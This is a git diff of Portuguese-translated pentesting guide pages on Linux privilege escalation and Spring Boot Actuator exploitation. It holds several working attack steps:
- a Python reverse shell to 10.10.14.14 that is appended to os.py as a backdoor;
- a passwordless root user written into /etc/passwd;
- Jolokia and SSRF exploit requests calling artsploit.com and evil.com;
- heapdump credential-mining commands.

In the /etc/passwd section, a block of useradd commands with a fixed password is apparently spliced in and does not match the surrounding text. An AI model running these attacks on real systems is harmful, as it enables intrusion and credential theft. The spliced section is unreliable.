poderá **conectar** a sessões screen do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. ### screen sessions hijacking -**Listar sessões screen** +**Listar sessões do screen** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1108,9 +1132,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Isso era um problema com **versões antigas do tmux**. Não consegui fazer hijack em uma sessão do tmux (v2.1) criada pelo root como um usuário não privilegiado. +Isto era um problema com **versões antigas do tmux**. Não consegui realizar um hijack em uma sessão tmux (v2.1) criada pelo root como um usuário não privilegiado. -**Listar sessões do tmux** +**Listar sessões tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1128,14 +1152,14 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box do HTB** para um exemplo. +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ -Esse bug ocorre ao criar uma nova chave ssh nesses sistemas, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Esse bug ocorre ao criar uma nova ssh key nesses SO, pois **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a ssh public key você pode buscar pela private key correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values @@ -1147,34 +1171,34 @@ Esse bug ocorre ao criar uma nova chave ssh nesses sistemas, pois **apenas 32.76 Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: -- `yes`: root pode fazer login usando senha e chave privada -- `without-password` ou `prohibit-password`: root só pode fazer login com uma chave privada -- `forced-commands-only`: root só pode fazer login usando chave privada e se as opções de comando estiverem especificadas -- `no`: não +- `yes`: root pode fazer login usando senha e private key +- `without-password` or `prohibit-password`: root só pode fazer login com private key +- `forced-commands-only`: root pode fazer login apenas usando private key e se as opções de comandos estiverem especificadas +- `no` : não ### AuthorizedKeysFile -Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuários. Pode conter tokens como `%h`, que será substituído pelo diretório home. **Você pode indicar caminhos absolutos** (iniciando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: +Especifica arquivos que contêm as public keys que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indica que, se você tentar fazer login com a chave **privada** do usuário "**testusername**", o ssh irá comparar a chave pública correspondente com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Essa configuração indica que, se você tentar entrar usando a chave **private** do usuário "**testusername**", o ssh vai comparar a public key da sua chave com as que estão em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permite que você **usar suas chaves SSH locais em vez de deixar chaves** (without passphrases!) no seu servidor. Assim, você poderá **saltar** via ssh **para um host** e, a partir dele, **saltar para outro** host **usando** a **chave** localizada no seu **host inicial**. +SSH agent forwarding permite que você **use your local SSH keys instead of leaving keys** (without passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** a **key** localizada no seu **initial host**. Você precisa definir essa opção em `$HOME/.ssh.config` assim: ``` Host example.com ForwardAgent yes ``` -Observe que se `Host` for `*` toda vez que o usuário se conectar a uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). +Observe que se `Host` for `*` toda vez que o usuário saltar para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). -O arquivo `/etc/ssh_config` pode **sobrescrever** essas **opções** e permitir ou negar essa configuração.\ -O arquivo `/etc/sshd_config` pode **permitir** ou **negar** ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é allow). +O arquivo `/etc/ssh_config` pode **sobrescrever** estas **opções** e permitir ou negar esta configuração.\ +O arquivo `/etc/sshd_config` pode **permitir** ou **negar** ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). -Se você encontrar que Forward Agent está configurado em um ambiente, leia a página a seguir pois **você pode ser capaz de abusá-lo para escalar privilégios**: +Se você encontrar que o Forward Agent está configurado em um ambiente, leia a página a seguir, pois **pode ser possível abusar disso para escalate privileges**: {{#ref}} @@ -1185,26 +1209,26 @@ ssh-forward-agent-exploitation.md ### Arquivos de perfil -O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, pode escalar privilégios**. +O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você conseguir **escrever ou modificar qualquer um deles, você pode escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se qualquer script de perfil estranho for encontrado você deve verificá-lo em busca de **detalhes sensíveis**. +Se algum script de perfil estranho for encontrado, você deve verificá-lo em busca de **detalhes sensíveis**. -### Arquivos Passwd/Shadow +### Passwd/Shadow Files -Dependendo do SO, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: +Dependendo do OS, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você consegue lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Em algumas ocasiões você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente) +Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo `/etc/passwd` (ou equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Permissão de escrita em /etc/passwd +### Gravável /etc/passwd Primeiro, gere uma senha com um dos seguintes comandos. ``` @@ -1212,14 +1236,13 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Generated password: G7r!s9Qx#v2Lk4Zm +Então adicione o usuário `hacker` e inclua a senha gerada. -Commands to run: -``` +```bash +PASSWORD='bN8!qz3@RdL6%eV2' sudo useradd -m -s /bin/bash hacker -echo 'hacker:G7r!s9Qx#v2Lk4Zm' | sudo chpasswd -sudo usermod -aG sudo hacker -sudo passwd -e hacker +echo "hacker:$PASSWORD" | sudo chpasswd +sudo chage -d 0 hacker ``` ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash @@ -1229,14 +1252,14 @@ Exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Agora você pode usar o comando `su` com `hacker:hacker` Alternativamente, você pode usar as seguintes linhas para adicionar um usuário dummy sem senha.\ -AVISO: você pode comprometer a segurança atual da máquina. +AVISO: isso pode degradar a segurança atual da máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso o `/etc/shadow` é renomeado para `/etc/spwd.db`. +NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, também o `/etc/shadow` é renomeado para `/etc/spwd.db`. -Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1247,15 +1270,15 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Sua backdoor será executada na próxima vez que o tomcat for iniciado. +Seu backdoor será executado na próxima vez que o tomcat for iniciado. -### Verificar Pastas +### Verificar pastas -Os seguintes diretórios podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler o último, mas tente) +As seguintes pastas podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler a última, mas tente) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Local Estranho/Arquivos Owned +### Localização Estranha/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1276,7 +1299,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Arquivos de DB do Sqlite +### Arquivos DB Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1288,12 +1311,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries no PATH** +### **Script/Binaries em PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Arquivos Web** +### **Arquivos web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1306,20 +1329,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Arquivos conhecidos que contêm senhas -Leia o código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos que podem conter senhas**.\ +Leia o código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos possíveis que podem conter senhas**.\ **Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. ### Logs -Se você puder ler logs, talvez consiga encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho for o log, mais interessante ele será (provavelmente).\ -Além disso, alguns **mal configurados** (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro dos audit logs como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se você conseguir ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho o log for, mais interessante ele provavelmente será.\ +Além disso, alguns **"ruim"** configurados (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro dos audit logs como explicado neste post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/ ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será muito útil. +Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. -### Arquivos shell +### Arquivos Shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1332,41 +1355,41 @@ Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm- ``` ### Generic Creds Search/Regex -Você também deve verificar arquivos que contenham a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou hashes regexps.\ -Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode checar os últimos checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +Você também deve procurar por arquivos contendo a palavra "**password**" no **nome** ou no **conteúdo**, e também verificar por IPs e emails em logs, ou por hashes/regexps.\ +Não vou listar aqui como fazer tudo isso, mas se estiver interessado pode conferir as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. -## Arquivos graváveis +## Writable files ### Python library hijacking -Se você souber **onde** um script python vai ser executado e você **puder escrever dentro** dessa pasta ou puder **modificar python libraries**, você pode modificar a biblioteca OS e backdoor it (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). +Se você souber de **onde** um script python será executado e você **puder escrever** nessa pasta ou puder **modify python libraries**, você pode modificar a OS library e backdoor it (se você puder escrever onde o script python será executado, copie e cole a os.py library). -Para **backdoor the library** basta adicionar ao final da biblioteca os.py a seguinte linha (troque IP e PORT): +Para **backdoor the library** basta adicionar ao final da os.py library a seguinte linha (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Exploração do logrotate +### Logrotate exploitation -Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios escalados. Isso ocorre porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante checar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. +Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pais potencialmente obtenham privilégios escalados. Isso ocorre porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante checar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. > [!TIP] -> Esta vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores +> Essa vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Você pode explorar esta vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). -Esta vulnerabilidade é muito similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e se você pode escalar privilégios substituindo os logs por symlinks. +Essa vulnerabilidade é muito similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que descobrir que pode alterar logs, verifique quem está gerenciando esses logs e se é possível escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Referência da vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, por qualquer motivo, um usuário for capaz de **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **modificar** um existente, então seu **sistema está pwned**. +Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **system is pwned**. -Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Contudo, eles são ~sourced~ no Linux pelo Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Entretanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). -No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. +No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo depois do primeiro espaço em branco é executado como root**. Por exemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1374,17 +1397,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Nota o espaço em branco entre Network e /bin/id_) +(_Nota: o espaço em branco entre Network e /bin/id_) -### **init, init.d, systemd e rc.d** +### **init, init.d, systemd, and rc.d** -O diretório `/etc/init.d` abriga **scripts** para System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Inclui scripts para `start`, `stop`, `restart`, e às vezes `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` é o local de **scripts** para o System V init (SysVinit), o **clássico sistema de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e às vezes `reload` serviços. Esses podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **sistema de gerenciamento de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados em conjunto com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts SysVinit ainda são usados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. -**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização on-demand de daemons, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes da distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. +**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização de daemons sob demanda, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes da distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. -## Outros Truques +## Outras Dicas ### NFS Privilege escalation @@ -1409,7 +1432,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks comumente interceptam uma syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, verificações de assinatura baseadas em FD-order ou esquemas de senha fracos) pode permitir que um app local se passe pelo manager e aumente privilégios para root em dispositivos já rootados. Saiba mais e detalhes de exploração aqui: +Android rooting frameworks normalmente hookam um syscall para expor funcionalidades privilegiadas do kernel a um gerenciador em userspace. Autenticação fraca do gerenciador (por exemplo, verificações de assinatura baseadas na ordem de FD ou esquemas de senha fracos) pode permitir que um app local se passe pelo gerenciador e escale para root em dispositivos já rootados. Saiba mais e detalhes de exploração aqui: {{#ref}} @@ -1423,11 +1446,11 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Mais ajuda -[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) +[Binários estáticos do impacket](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Melhor ferramenta para procurar vetores de local privilege escalation no Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Melhor ferramenta para procurar vetores locais de privilege escalation no Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1459,6 +1482,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 38cb8956b..a8ced9d62 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Explorando Spring Boot Actuators -**Ver o post original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Confira o post original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Pontos Chave:** +### **Pontos-chave:** -- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões de 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança. +- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões 1 até 1.4, esses endpoints ficam acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas desenvolvedores frequentemente desabilitam essa segurança. - Certos endpoints do Actuator podem expor dados sensíveis ou permitir ações prejudiciais: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`. -- No Spring Boot 1.x, os actuators são registrados sob a URL raiz, enquanto no 2.x, eles estão sob o caminho base `/actuator/`. +- No Spring Boot 1.x, os actuators são registrados no root URL, enquanto no 2.x eles ficam sob o base path `/actuator/`. ### **Técnicas de Exploração:** -1. **Execução Remota de Código via '/jolokia'**: -- O endpoint do actuator `/jolokia` expõe a Biblioteca Jolokia, que permite acesso HTTP a MBeans. -- A ação `reloadByURL` pode ser explorada para recarregar configurações de log de uma URL externa, o que pode levar a XXE cega ou Execução Remota de Código via configurações XML manipuladas. -- URL de exemplo para exploração: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Modificação de Configuração via '/env'**: +1. **Remote Code Execution via '/jolokia'**: +- O endpoint `/jolokia` do actuator expõe a Jolokia Library, que permite acesso HTTP a MBeans. +- A action `reloadByURL` pode ser explorada para recarregar configurações de logging a partir de uma URL externa, o que pode levar a blind XXE ou Remote Code Execution via configurações XML maliciosas. +- Exemplo de URL de exploit: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Modificação de Config via '/env'**: -- Se as Bibliotecas Spring Cloud estiverem presentes, o endpoint `/env` permite a modificação de propriedades ambientais. -- Propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de desserialização do XStream no Eureka serviceURL. -- Exemplo de requisição POST para exploração: +- Se as Spring Cloud Libraries estiverem presentes, o endpoint `/env` permite a modificação de propriedades de ambiente. +- Propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de deserialização do XStream no Eureka serviceURL. +- Exemplo de requisição POST de exploit: ``` POST /env HTTP/1.1 @@ -41,24 +41,100 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Outras Configurações Úteis**: -- Propriedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` podem ser manipuladas para várias explorações, como injeção SQL ou alteração de strings de conexão de banco de dados. +- Propriedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` podem ser manipuladas para vários exploits, como SQL injection ou alteração das connection strings do banco de dados. ### **Informações Adicionais:** -- Uma lista abrangente de actuators padrão pode ser encontrada [aqui](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Uma lista abrangente de actuators default pode ser encontrada [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - O endpoint `/env` no Spring Boot 2.x usa formato JSON para modificação de propriedades, mas o conceito geral permanece o mesmo. ### **Tópicos Relacionados:** 1. **Env + H2 RCE**: -- Detalhes sobre a exploração da combinação do endpoint `/env` e do banco de dados H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Detalhes sobre a exploração da combinação do endpoint `/env` e do banco H2 podem ser encontrados [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF no Spring Boot Através da Interpretação Incorreta de Nomes de Caminho**: -- O manuseio de parâmetros de matriz (`;`) pelo framework Spring em nomes de caminho HTTP pode ser explorado para Server-Side Request Forgery (SSRF). -- Exemplo de requisição de exploração: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- O tratamento de matrix parameters (`;`) em pathnames HTTP pelo framework Spring pode ser explorado para Server-Side Request Forgery (SSRF). +- Exemplo de exploit request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## Mineração de segredos em HeapDump (credenciais, tokens, URLs internas) + +Se `/actuator/heapdump` estiver exposto, normalmente é possível recuperar um snapshot completo do heap da JVM que frequentemente contém segredos em uso (credenciais de BD, chaves de API, Basic-Auth, URLs de serviços internos, mapas de propriedades do Spring, etc.). + +- Baixar e triagem rápida: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Análise mais profunda com VisualVM e OQL: +- Abra o heapdump no VisualVM, inspecione instâncias de `java.lang.String` ou execute OQL para buscar segredos: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Extração automatizada com JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Achados de alto valor típicos: +- Objetos Spring `DataSourceProperties` / `HikariDataSource` expondo `url`, `username`, `password`. +- Entradas `OriginTrackedMapPropertySource` revelando `management.endpoints.web.exposure.include`, portas de serviço e Basic-Auth embutido em URLs (por ex., Eureka `defaultZone`). +- Fragmentos simples de requisições/respostas HTTP incluindo `Authorization: Basic ...` capturados na memória. + +Dicas: +- Use uma wordlist focada em Spring para descobrir endpoints do actuator rapidamente (por ex., SecLists spring-boot.txt) e sempre verifique se `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` também estão expostos. +- Credenciais do heapdump frequentemente funcionam para serviços adjacentes e às vezes para usuários do sistema (SSH), então teste-as amplamente. + + +## Abusar de loggers/logging do Actuator para capturar credenciais + +Se `management.endpoints.web.exposure.include` permitir e `/actuator/loggers` estiver exposto, você pode 